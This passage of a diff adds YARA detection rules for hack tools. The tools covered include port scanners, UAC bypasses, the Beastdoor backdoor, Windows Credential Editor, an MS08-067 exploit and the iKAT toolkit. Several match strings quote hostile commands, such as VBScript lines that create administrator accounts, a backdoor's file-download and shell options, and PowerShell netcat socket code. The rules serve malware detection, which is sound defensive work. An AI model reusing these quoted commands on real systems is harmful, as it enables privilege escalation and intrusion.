+      author = "yarGen Yara Rule Generator by Florian Roth"
+      hash = "d658dad1cd759d7f7d67da010e47ca23"
+      id = "98fbf445-b7a5-58fa-8f06-34be7321e2eb"
+   strings:
+      $s0 = ")PuMB_syJ"
+      $s1 = "&,fARW>yR"
+      $s2 = "m3hm3t_rullaz"
+      $s3 = "7Projectc1"
+      $s4 = "Ten-GGl\""
+      $s5 = "/Moziqlxa"
+   condition:
+      all of them
+}
+
+rule portscan {
+   meta:
+      description = "Auto-generated rule on file portscan.exe"
+      author = "yarGen Yara Rule Generator by Florian Roth"
+      hash = "a8bfdb2a925e89a281956b1e3bb32348"
+      id = "967d6e3b-ae0d-5f93-a20d-742fc010608d"
+   strings:
+      $s5 = "0    :SCAN BEGUN ON PORT:"
+      $s6 = "0    :PORTSCAN READY."
+   condition:
+      all of them
+}
+
+rule ProPort_zip_Folder_ProPort {
+   meta:
+      description = "Auto-generated rule on file ProPort.exe"
+      author = "yarGen Yara Rule Generator by Florian Roth"
+      hash = "c1937a86939d4d12d10fc44b7ab9ab27"
+      id = "cd611f6c-42ed-5cd3-a6ab-7e0970925e61"
+   strings:
+      $s0 = "Corrupt Data!"
+      $s1 = "K4p~omkIz"
+      $s2 = "DllTrojanScan"
+      $s3 = "GetDllInfo"
+      $s4 = "Compressed by Petite (c)1999 Ian Luck."
+      $s5 = "GetFileCRC32"
+      $s6 = "GetTrojanNumber"
+      $s7 = "TFAKAbout"
+   condition:
+      all of them
+}
+
+rule StealthWasp_s_Basic_PortScanner_v1_2 {
+   meta:
+      description = "Auto-generated rule on file StealthWasp's Basic PortScanner v1.2.exe"
+      author = "yarGen Yara Rule Generator by Florian Roth"
+      hash = "7c0f2cab134534cd35964fe4c6a1ff00"
+      id = "7f706186-f2e2-5d4d-951a-2ec8fc757cec"
+   strings:
+      $s1 = "Basic PortScanner"
+      $s6 = "Now scanning port:"
+   condition:
+      all of them
+}
+
+rule BluesPortScan {
+   meta:
+      description = "Auto-generated rule on file BluesPortScan.exe"
+      author = "yarGen Yara Rule Generator by Florian Roth"
+      hash = "6292f5fc737511f91af5e35643fc9eef"
+      id = "4bcb8b7c-5e22-5496-9a29-66e85e3c3395"
+   strings:
+      $s0 = "This program was made by Volker Voss"
+      $s1 = "JiBOo~SSB"
+   condition:
+      all of them
+}
+
+rule scanarator_iis {
+   meta:
+      description = "Auto-generated rule on file iis.exe"
+      author = "yarGen Yara Rule Generator by Florian Roth"
+      hash = "3a8fc02c62c8dd65e038cc03e5451b6e"
+      id = "a467147b-53c8-53db-aa33-5f0e4e066988"
+   strings:
+      $s0 = "example: iis 10.10.10.10"
+      $s1 = "send error"
+   condition:
+      all of them
+}
+
+rule stealth_Stealth {
+   meta:
+      description = "Auto-generated rule on file Stealth.exe"
+      author = "yarGen Yara Rule Generator by Florian Roth"
+      hash = "8ce3a386ce0eae10fc2ce0177bbc8ffa"
+      id = "5f45882e-3e27-596d-8725-fad380e1c297"
+   strings:
+      $s3 = "<table width=\"60%\" bgcolor=\"black\" cellspacing=\"0\" cellpadding=\"2\" border=\"1\" bordercolor=\"white\"><tr><td>"
+      $s6 = "This tool may be used only by system administrators. I am not responsible for "
+   condition:
+      all of them
+}
+
+rule Angry_IP_Scanner_v2_08_ipscan {
+   meta:
+      description = "Auto-generated rule on file ipscan.exe"
+      author = "yarGen Yara Rule Generator by Florian Roth"
+      hash = "70cf2c09776a29c3e837cb79d291514a"
+      id = "5fbcbb95-6cd4-5587-bf44-5b5ed133ce5e"
+   strings:
+      $s0 = "_H/EnumDisplay/"
+      $s5 = "ECTED.MSVCRT0x"
+      $s8 = "NotSupported7"
+   condition:
+      all of them
+}
+
+rule crack_Loader {
+   meta:
+      description = "Auto-generated rule on file Loader.exe"
+      author = "yarGen Yara Rule Generator by Florian Roth"
+      hash = "f4f79358a6c600c1f0ba1f7e4879a16d"
+      id = "0c4c7b69-7739-5c1b-8c7c-4aaa724e4455"
+   strings:
+      $s0 = "NeoWait.exe"
+      $s1 = "RRRRRRRW"
+   condition:
+      all of them
+}
+
+rule CN_GUI_Scanner {
+   meta:
+      description = "Detects an unknown GUI scanner tool - CN background"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      hash = "3c67bbb1911cdaef5e675c56145e1112"
+      score = 65
+      date = "04.10.2014"
+      id = "ca88d4d3-5d18-5856-874f-e50deceef54f"
+   strings:
+      $s1 = "good.txt" fullword ascii
+      $s2 = "IP.txt" fullword ascii
+      $s3 = "xiaoyuer" fullword ascii
+      $s0w = "ssh(" wide
+      $s1w = ").exe" fullword wide
+   condition:
+      all of them
+}
+
+rule CN_Packed_Scanner {
+   meta:
+      description = "Suspiciously packed executable"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      hash = "6323b51c116a77e3fba98f7bb7ff4ac6"
+      score = 40
+      date = "06.10.2014"
+      id = "a11c4ee6-7244-5601-af26-a45f9fdc8e1b"
+   strings:
+      $s1 = "kernel32.dll" fullword ascii
+      $s2 = "CRTDLL.DLL" fullword ascii
+      $s3 = "__GetMainArgs" fullword ascii
+      $s4 = "WS2_32.DLL" fullword ascii
+   condition:
+      all of them and filesize < 180KB and filesize > 70KB
+}
+
+rule Tiny_Network_Tool_Generic : FILE {
+   meta:
+      description = "Tiny tool with suspicious function imports. (Rule based on WinEggDrop Scanner samples)"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      date = "08.10.2014"
+      score = 40
+      hash0 = "9e1ab25a937f39ed8b031cd8cfbc4c07"
+      hash1 = "cafc31d39c1e4721af3ba519759884b9"
+      hash2 = "8e635b9a1e5aa5ef84bfa619bd2a1f92"
+      id = "04b1c2c6-605c-52d5-aa07-f3b77a6c4593"
+   strings:
+      $s0 = "KERNEL32.DLL" fullword ascii
+      $s1 = "CRTDLL.DLL" fullword ascii
+      $s3 = "LoadLibraryA" fullword ascii
+      $s4 = "GetProcAddress" fullword ascii
+
+      $y1 = "WININET.DLL" fullword ascii
+      $y2 = "atoi" fullword ascii
+
+      $x1 = "ADVAPI32.DLL" fullword ascii
+      $x2 = "USER32.DLL" fullword ascii
+      $x3 = "wsock32.dll" fullword ascii
+      $x4 = "FreeSid" fullword ascii
+      $x5 = "atoi" fullword ascii
+
+      $z1 = "ADVAPI32.DLL" fullword ascii
+      $z2 = "USER32.DLL" fullword ascii
+      $z3 = "FreeSid" fullword ascii
+      $z4 = "ToAscii" fullword ascii
+
+   condition:
+      uint16(0) == 0x5a4d and all of ($s*) and ( all of ($y*) or all of ($x*) or all of ($z*) ) and filesize < 15KB
+}
+
+rule Beastdoor_Backdoor {
+   meta:
+      description = "Detects the backdoor Beastdoor"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      score = 55
+      hash = "5ab10dda548cb821d7c15ebcd0a9f1ec6ef1a14abcc8ad4056944d060c49535a"
+      id = "64f67233-6677-53c8-b212-f1a425f78803"
+   strings:
+      $s0 = "Redirect SPort RemoteHost RPort  -->Port Redirector" fullword
+      $s1 = "POST /scripts/WWPMsg.dll HTTP/1.0" fullword
+      $s2 = "http://IP/a.exe a.exe            -->Download A File" fullword
+      $s7 = "Host: wwp.mirabilis.com:80" fullword
+      $s8 = "%s -Set Port PortNumber              -->Set The Service Port" fullword
+      $s11 = "Shell                            -->Get A Shell" fullword
+      $s14 = "DeleteService ServiceName        -->Delete A Service" fullword
+      $s15 = "Getting The UserName(%c%s%c)-->ID(0x%s) Successfully" fullword
+      $s17 = "%s -Set ServiceName ServiceName      -->Set The Service Name" fullword
+   condition:
+      2 of them
+}
+
+rule Powershell_Netcat {
+   meta:
+      description = "Detects a Powershell version of the Netcat network hacking tool"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      score = 60
+      date = "10.10.2014"
+      id = "e4b018c0-3214-5102-93b1-6a048324f9dd"
+   strings:
+      $s0 = "[ValidateRange(1, 65535)]" fullword
+      $s1 = "$Client = New-Object -TypeName System.Net.Sockets.TcpClient" fullword
+      $s2 = "$Buffer = New-Object -TypeName System.Byte[] -ArgumentList $Client.ReceiveBufferSize" fullword
+   condition:
+      all of them
+}
+
+rule Chinese_Hacktool_1014 {
+   meta:
+      description = "Detects a chinese hacktool with unknown use"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      score = 60
+      date = "10.10.2014"
+      hash = "98c07a62f7f0842bcdbf941170f34990"
+      id = "e5db5f58-a1fd-51e0-9037-337fcca71f11"
+   strings:
+      $s0 = "IEXT2_IDC_HORZLINEMOVECURSOR" fullword wide
+      $s1 = "msctls_progress32" fullword wide
+      $s2 = "Reply-To: %s" fullword ascii
+      $s3 = "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)" fullword ascii
+      $s4 = "html htm htx asp" fullword ascii
+   condition:
+      all of them
+}
+
+rule CN_Hacktool_BAT_PortsOpen {
+   meta:
+      description = "Detects a chinese BAT hacktool for local port evaluation"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      score = 60
+      date = "12.10.2014"
+      id = "55c3f678-ba70-5a4a-b288-9d0953eff968"
+   strings:
+      $s0 = "for /f \"skip=4 tokens=2,5\" %%a in ('netstat -ano -p TCP') do (" ascii
+      $s1 = "in ('tasklist /fi \"PID eq %%b\" /FO CSV') do " ascii
+      $s2 = "@echo off" ascii
+   condition:
+      all of them
+}
+
+rule CN_Hacktool_SSPort_Portscanner {
+   meta:
+      description = "Detects a chinese Portscanner named SSPort"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      score = 70
+      date = "12.10.2014"
+      id = "38cc8830-efd3-51b7-8ac6-c9bf468212cb"
+   strings:
+      $s0 = "Golden Fox" fullword wide
+      $s1 = "Syn Scan Port" fullword wide
+      $s2 = "CZ88.NET" fullword wide
+   condition:
+      all of them
+}
+
+rule CN_Hacktool_ScanPort_Portscanner {
+   meta:
+      description = "Detects a chinese Portscanner named ScanPort"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      score = 70
+      date = "12.10.2014"
+      id = "a708283e-339c-599f-9321-3b063d0076a9"
+   strings:
+      $s0 = "LScanPort" fullword wide
+      $s1 = "LScanPort Microsoft" fullword wide
+      $s2 = "www.yupsoft.com" fullword wide
+   condition:
+      all of them
+}
+
+rule CN_Hacktool_S_EXE_Portscanner {
+   meta:
+      description = "Detects a chinese Portscanner named s.exe"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      score = 70
+      date = "12.10.2014"
+      id = "d6b35d4f-7e25-50dd-bef2-08f7033312e8"
+   strings:
+      $s0 = "\\Result.txt" ascii
+      $s1 = "By:ZT QQ:376789051" fullword ascii
+      $s2 = "(http://www.eyuyan.com)" fullword wide
+   condition:
+      all of them
+}
+
+rule CN_Hacktool_MilkT_BAT {
+   meta:
+      description = "Detects a chinese Portscanner named MilkT - shipped BAT"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      score = 70
+      date = "12.10.2014"
+      id = "d680a5f1-6182-5bc8-99de-c3cba1a61903"
+   strings:
+      $s0 = "for /f \"eol=P tokens=1 delims= \" %%i in (s1.txt) do echo %%i>>s2.txt" ascii
+      $s1 = "if not \"%Choice%\"==\"\" set Choice=%Choice:~0,1%" ascii
+   condition:
+      all of them
+}
+
+rule CN_Hacktool_MilkT_Scanner {
+   meta:
+      description = "Detects a chinese Portscanner named MilkT"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      score = 60
+      date = "12.10.2014"
+      id = "aa83c983-25c2-5051-88a1-fbc70d947d6e"
+   strings:
+      $s0 = "Bf **************" ascii fullword
+      $s1 = "forming Time: %d/" ascii
+      $s2 = "KERNEL32.DLL" ascii fullword
+      $s3 = "CRTDLL.DLL" ascii fullword
+      $s4 = "WS2_32.DLL" ascii fullword
+      $s5 = "GetProcAddress" ascii fullword
+      $s6 = "atoi" ascii fullword
+   condition:
+      all of them
+}
+
+rule CN_Hacktool_1433_Scanner {
+   meta:
+      description = "Detects a chinese MSSQL scanner"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      score = 40
+      date = "12.10.2014"
+      id = "77712d29-1a32-59e7-999a-a2ef02212886"
+   strings:
+      $s0 = "1433" wide fullword
+      $s1 = "1433V" wide
+      $s2 = "del Weak1.txt" ascii fullword
+      $s3 = "del Attack.txt" ascii fullword
+      $s4 = "del /s /Q C:\\Windows\\system32\\doors\\" ascii
+      $s5 = "!&start iexplore http://www.crsky.com/soft/4818.html)" fullword ascii
+   condition:
+      uint16(0) == 0x5a4d and all of ($s*)
+}
+
+rule CN_Hacktool_1433_Scanner_Comp2 {
+   meta:
+      description = "Detects a chinese MSSQL scanner - component 2"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      score = 40
+      date = "12.10.2014"
+      id = "7d707be5-dad0-5d91-965b-908a8603b6c0"
+   strings:
+      $s0 = "1433" wide fullword
+      $s1 = "1433V" wide
+      $s2 = "UUUMUUUfUUUfUUUfUUUfUUUfUUUfUUUfUUUfUUUfUUUfUUUMUUU" ascii fullword
+   condition:
+      uint16(0) == 0x5a4d and all of ($s*)
+}
+
+rule WCE_Modified_1_1014 {
+   meta:
+      description = "Modified (packed) version of Windows Credential Editor"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      hash = "09a412ac3c85cedce2642a19e99d8f903a2e0354"
+      score = 70
+      id = "536d1a7f-bda1-5c22-bf72-a177468e7c42"
+   strings:
+      $s0 = "LSASS.EXE" fullword ascii
+      $s1 = "_CREDS" ascii
+      $s9 = "Using WCE " ascii
+   condition:
+      all of them
+}
+
+rule ReactOS_cmd_valid {
+   meta:
+      description = "ReactOS cmd.exe with correct file name - maybe packed with software or part of hacker toolset"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      date = "05.11.14"
+      reference = "http://www.elifulkerson.com/articles/suzy-sells-cmd-shells.php"
+      score = 30
+      hash = "b88f050fa69d85af3ff99af90a157435296cbb6e"
+      id = "47df12b4-d202-5520-9c7f-9d0196bc2267"
+   strings:
+      $s1 = "ReactOS Command Processor" fullword wide
+      $s2 = "Copyright (C) 1994-1998 Tim Norman and others" fullword wide
+      $s3 = "Eric Kohl and others" fullword wide
+      $s4 = "ReactOS Operating System" fullword wide
+   condition:
+      all of ($s*)
+}
+
+rule iKAT_wmi_rundll {
+   meta:
+      description = "This exe will attempt to use WMI to Call the Win32_Process event to spawn rundll - file wmi_rundll.exe"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      date = "05.11.14"
+      score = 65
+      reference = "http://ikat.ha.cked.net/Windows/functions/ikatfiles.html"
+      hash = "97c4d4e6a644eed5aa12437805e39213e494d120"
+      id = "e3d80c95-d333-53cf-8165-b3a1e66ed00d"
+   strings:
+      $s0 = "This operating system is not supported." fullword ascii
+      $s1 = "Error!" fullword ascii
+      $s2 = "Win32 only!" fullword ascii
+      $s3 = "COMCTL32.dll" fullword ascii
+      $s4 = "[LordPE]" ascii
+      $s5 = "CRTDLL.dll" fullword ascii
+      $s6 = "VBScript" fullword ascii
+      $s7 = "CoUninitialize" fullword ascii
+   condition:
+      all of them and filesize < 15KB
+}
+
+rule iKAT_revelations {
+   meta:
+      description = "iKAT hack tool showing the content of password fields - file revelations.exe"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      date = "05.11.14"
+      score = 75
+      reference = "http://ikat.ha.cked.net/Windows/functions/ikatfiles.html"
+      hash = "c4e217a8f2a2433297961561c5926cbd522f7996"
+      id = "c5ef2c2a-c9c0-5c3a-bbcc-0b0949527850"
+   strings:
+      $s0 = "The RevelationHelper.DLL file is corrupt or missing." fullword ascii
+      $s8 = "BETAsupport@snadboy.com" fullword wide
+      $s9 = "support@snadboy.com" fullword wide
+      $s14 = "RevelationHelper.dll" fullword ascii
+   condition:
+      all of them
+}
+
+rule iKAT_priv_esc_tasksch {
+   meta:
+      description = "Task Schedulder Local Exploit - Windows local priv-esc using Task Scheduler, published by webDevil. Supports Windows 7 and Vista."
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      date = "05.11.14"
+      score = 75
+      reference = "http://ikat.ha.cked.net/Windows/functions/ikatfiles.html"
+      hash = "84ab94bff7abf10ffe4446ff280f071f9702cf8b"
+      id = "0786b313-3154-536b-b7eb-c4d8444a309f"
+   strings:
+      $s0 = "objShell.Run \"schtasks /change /TN wDw00t /disable\",,True" fullword ascii
+      $s3 = "objShell.Run \"schtasks /run /TN wDw00t\",,True" fullword ascii
+      $s4 = "'objShell.Run \"cmd /c copy C:\\windows\\system32\\tasks\\wDw00t .\",,True" fullword ascii
+      $s6 = "a.WriteLine (\"schtasks /delete /f /TN wDw00t\")" fullword ascii
+      $s7 = "a.WriteLine (\"net user /add ikat ikat\")" fullword ascii
+      $s8 = "a.WriteLine (\"cmd.exe\")" fullword ascii
+      $s9 = "strFileName=\"C:\\windows\\system32\\tasks\\wDw00t\"" fullword ascii
+      $s10 = "For n = 1 To (Len (hexXML) - 1) step 2" fullword ascii
+      $s13 = "output.writeline \" Should work on Vista/Win7/2008 x86/x64\"" fullword ascii
+      $s11 = "Set objExecObject = objShell.Exec(\"cmd /c schtasks /query /XML /TN wDw00t\")" fullword ascii
+      $s12 = "objShell.Run \"schtasks /create /TN wDw00t /sc monthly /tr \"\"\"+biatchFile+\"" ascii
+      $s14 = "a.WriteLine (\"net localgroup administrators /add v4l\")" fullword ascii
+      $s20 = "Set ts = fso.createtextfile (\"wDw00t.xml\")" fullword ascii
+   condition:
+      2 of them
+}
+
+rule iKAT_command_lines_agent {
+   meta:
+      description = "iKAT hack tools set agent - file ikat.exe"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      date = "05.11.14"
+      score = 75
+      reference = "http://ikat.ha.cked.net/Windows/functions/ikatfiles.html"
+      hash = "c802ee1e49c0eae2a3fc22d2e82589d857f96d94"
+      id = "35068d59-272d-55a6-b211-2c138276914c"
+   strings:
+      $s0 = "Extended Module: super mario brothers" fullword ascii
+      $s1 = "Extended Module: " fullword ascii
+      $s3 = "ofpurenostalgicfeeling" fullword ascii
+      $s8 = "-supermariobrotheretic" fullword ascii
+      $s9 = "!http://132.147.96.202:80" fullword ascii
+      $s12 = "iKAT Exe Template" fullword ascii
+      $s15 = "withadancyflavour.." fullword ascii
+      $s16 = "FastTracker v2.00   " fullword ascii
+   condition:
+      4 of them
+}
+
+rule iKAT_cmd_as_dll {
+   meta:
+      description = "iKAT toolset file cmd.dll ReactOS file cloaked"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      date = "05.11.14"
+      score = 65
+      reference = "http://ikat.ha.cked.net/Windows/functions/ikatfiles.html"
+      hash = "b5d0ba941efbc3b5c97fe70f70c14b2050b8336a"
+      id = "8d15b4b6-25f3-556c-bfa8-eba503c9c649"
+   strings:
+      $s1 = "cmd.exe" fullword wide
+      $s2 = "ReactOS Development Team" fullword wide
+      $s3 = "ReactOS Command Processor" fullword wide
+
+      $ext = "extension: .dll" nocase
+   condition:
+      all of ($s*) and $ext
+}
+
+rule iKAT_tools_nmap {
+   meta:
+      description = "Generic rule for NMAP - based on NMAP 4 standalone"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      date = "05.11.14"
+      score = 50
+      reference = "http://ikat.ha.cked.net/Windows/functions/ikatfiles.html"
+      hash = "d0543f365df61e6ebb5e345943577cc40fca8682"
+      id = "be4858e6-a8f3-55eb-9c04-f4def838dde1"
+   strings:
+      $s0 = "Insecure.Org" fullword wide
+      $s1 = "Copyright (c) Insecure.Com" fullword wide
+      $s2 = "nmap" fullword nocase
+      $s3 = "Are you alert enough to be using Nmap?  Have some coffee or Jolt(tm)." ascii
+   condition:
+      all of them
+}
+
+rule iKAT_startbar {
+   meta:
+      description = "Tool to hide unhide the windows startbar from command line - iKAT hack tools - file startbar.exe"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      date = "05.11.14"
+      score = 50
+      reference = "http://ikat.ha.cked.net/Windows/functions/ikatfiles.html"
+      hash = "0cac59b80b5427a8780168e1b85c540efffaf74f"
+      id = "f29f15e9-aa29-519a-b4ad-c018aac68fd6"
+   strings:
+      $s2 = "Shinysoft Limited1" fullword ascii
+      $s3 = "Shinysoft Limited0" fullword ascii
+      $s4 = "Wellington1" fullword ascii
+      $s6 = "Wainuiomata1" fullword ascii
+      $s8 = "56 Wright St1" fullword ascii
+      $s9 = "UTN-USERFirst-Object" fullword ascii
+      $s10 = "New Zealand1" fullword ascii
+   condition:
+      all of them
+}
+
+rule iKAT_Tool_Generic {
+   meta:
+      description = "Generic Rule for hack tool iKAT files gpdisable.exe, kitrap0d.exe, uacpoc.exe"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      date = "05.11.14"
+      score = 55
+      reference = "http://ikat.ha.cked.net/Windows/functions/ikatfiles.html"
+      super_rule = 1
+      hash0 = "814c126f21bc5e993499f0c4e15b280bf7c1c77f"
+      hash1 = "75f5aed1e719443a710b70f2004f34b2fe30f2a9"
+      hash2 = "b65a460d015fd94830d55e8eeaf6222321e12349"
+      id = "a8064a26-09c0-59f1-bdf9-628a445014ff"
+   strings:
+      $s0 = "<IconFile>C:\\WINDOWS\\App.ico</IconFile>" fullword
+      $s1 = "Failed to read the entire file" fullword
+      $s4 = "<VersionCreatedBy>14.4.0</VersionCreatedBy>" fullword
+      $s8 = "<ProgressCaption>Run &quot;executor.bat&quot; once the shell has spawned.</P"
+      $s9 = "Running Zip pipeline..." fullword
+      $s10 = "<FinTitle />" fullword
+      $s12 = "<AutoTemp>0</AutoTemp>" fullword
+      $s14 = "<DefaultDir>%TEMP%</DefaultDir>" fullword
+      $s15 = "AES Encrypting..." fullword
+      $s20 = "<UnzipDir>%TEMP%</UnzipDir>" fullword
+   condition:
+      all of them
+}
+
+rule BypassUac2 {
+   meta:
+      description = "Auto-generated rule - file BypassUac2.zip"
+      author = "yarGen Yara Rule Generator"
+      hash = "ef3e7dd2d1384ecec1a37254303959a43695df61"
+      id = "8b7e49de-9b0a-5dc4-86af-1a854dc649cc"
+   strings:
+      $s0 = "/BypassUac/BypassUac/BypassUac_Utils.cpp" fullword ascii
+      $s1 = "/BypassUac/BypassUacDll/BypassUacDll.aps" fullword ascii
+      $s3 = "/BypassUac/BypassUac/BypassUac.ico" fullword ascii
+   condition:
+      all of them
+}
+
+rule BypassUac_3 {
+   meta:
+      description = "Auto-generated rule - file BypassUacDll.dll"
+      author = "yarGen Yara Rule Generator"
+      hash = "1974aacd0ed987119999735cad8413031115ce35"
+      id = "407a8e12-1160-584d-94c8-7aa78e29c754"
+   strings:
+      $s0 = "BypassUacDLL.dll" fullword wide
+      $s1 = "\\Release\\BypassUacDll" ascii
+      $s3 = "Win7ElevateDLL" fullword wide
+      $s7 = "BypassUacDLL" fullword wide
+   condition:
+      3 of them
+}
+
+rule BypassUac_9 {
+   meta:
+      description = "Auto-generated rule - file BypassUac.zip"
+      author = "yarGen Yara Rule Generator"
+      hash = "93c2375b2e4f75fc780553600fbdfd3cb344e69d"
+      id = "a5751d7d-d135-51bc-8351-40374a2d57bf"
+   strings:
+      $s0 = "/x86/BypassUac.exe" fullword ascii
+      $s1 = "/x64/BypassUac.exe" fullword ascii
+      $s2 = "/x86/BypassUacDll.dll" fullword ascii
+      $s3 = "/x64/BypassUacDll.dll" fullword ascii
+      $s15 = "BypassUac" fullword ascii
+   condition:
+      all of them
+}
+
+rule BypassUacDll_6 {
+   meta:
+      description = "Auto-generated rule - file BypassUacDll.aps"
+      author = "yarGen Yara Rule Generator"
+      hash = "58d7b24b6870cb7f1ec4807d2f77dd984077e531"
+      id = "5be27053-446f-5ea3-a242-2661aeffa3df"
+   strings:
+      $s3 = "BypassUacDLL.dll" fullword wide
+      $s4 = "AFX_IDP_COMMAND_FAILURE" fullword ascii
+   condition:
+      all of them
+}
+
+rule BypassUac_EXE {
+   meta:
+      description = "Auto-generated rule - file BypassUacDll.aps"
+      author = "yarGen Yara Rule Generator"
+      hash = "58d7b24b6870cb7f1ec4807d2f77dd984077e531"
+      id = "b88aded5-7dfb-5cdf-bb42-cd8b069259e0"
+   strings:
+      $s1 = "Wole32.dll" wide
+      $s3 = "System32\\migwiz" wide
+      $s4 = "System32\\migwiz\\CRYPTBASE.dll" wide
+      $s5 = "Elevation:Administrator!new:" wide
+      $s6 = "BypassUac" wide
+   condition:
+      all of them
+}
+
+rule APT_Proxy_Malware_Packed_dev
+{
+   meta:
+      author = "FRoth"
+      date = "2014-11-10"
+      description = "APT Malware - Proxy"
+      hash = "6b6a86ceeab64a6cb273debfa82aec58"
+      score = 50
+      id = "0b81b6c9-86fa-59c1-b58c-80310f6c0680"
+   strings:
+      $string0 = "PECompact2" fullword
+      $string1 = "[LordPE]"
+      $string2 = "steam_ker.dll"
+   condition:
+      all of them
+}
+
+rule Tzddos_DDoS_Tool_CN {
+   meta:
+      description = "Disclosed hacktool set - file tzddos"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      date = "17.11.14"
+      score = 60
+      hash = "d4c517eda5458247edae59309453e0ae7d812f8e"
+      id = "bf2bfc7b-4db8-5d35-a312-2530a42985d5"
+   strings:
+      $s0 = "for /f %%a in (host.txt) do (" ascii
+      $s1 = "for /f \"eol=S tokens=1 delims= \" %%i in (s2.txt) do echo %%i>>host.txt" fullword ascii
+      $s2 = "del host.txt /q" fullword ascii
+      $s3 = "for /f \"eol=- tokens=1 delims= \" %%i in (result.txt) do echo %%i>>s1.txt" fullword ascii
+      $s4 = "start Http.exe %%a %http%" fullword ascii
+      $s5 = "for /f \"eol=P tokens=1 delims= \" %%i in (s1.txt) do echo %%i>>s2.txt" fullword ascii
+      $s6 = "del Result.txt s2.txt s1.txt " fullword ascii
+   condition:
+      all of them
+}
+
+rule Ncat_Hacktools_CN {
+   meta:
+      description = "Disclosed hacktool set - file nc.exe"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      date = "17.11.14"
+      score = 60
+      hash = "001c0c01c96fa56216159f83f6f298755366e528"
+      id = "bdbfaf75-f8c0-508e-b6b1-9ddea179a325"
+   strings:
+      $s0 = "nc -l -p port [options] [hostname] [port]" fullword ascii
+      $s2 = "nc [-options] hostname port[s] [ports] ... " fullword ascii
+      $s3 = "gethostpoop fuxored" fullword ascii
+      $s6 = "VERNOTSUPPORTED" fullword ascii
+      $s7 = "%s [%s] %d (%s)" fullword ascii
+      $s12 = " `--%s' doesn't allow an argument" fullword ascii
+   condition:
+      all of them
+}
+
+rule MS08_067_Exploit_Hacktools_CN {
+   meta:
+      description = "Disclosed hacktool set - file cs.exe"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      date = "17.11.14"
+      score = 60
+      hash = "a3e9e0655447494253a1a60dbc763d9661181322"
+      id = "c15836c7-e739-5cc0-9d41-d651ea3e4738"
+   strings:
+      $s0 = "MS08-067 Exploit for CN by EMM@ph4nt0m.org" fullword ascii
+      $s3 = "Make SMB Connection error:%d" fullword ascii
+      $s5 = "Send Payload Over!" fullword ascii
+      $s7 = "Maybe Patched!" fullword ascii
+      $s8 = "RpcExceptionCode() = %u" fullword ascii
+      $s11 = "ph4nt0m" fullword wide
+      $s12 = "\\\\%s\\IPC" ascii
+   condition:
+      4 of them
+}
+
+rule Hacktools_CN_Burst_sql {
+   meta:
+      description = "Disclosed hacktool set - file sql.exe"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      date = "17.11.14"
+      score = 60
+      hash = "d5139b865e99b7a276af7ae11b14096adb928245"
+      id = "77ea95fc-7a6a-522b-8a72-1832598c4d2d"
+   strings:
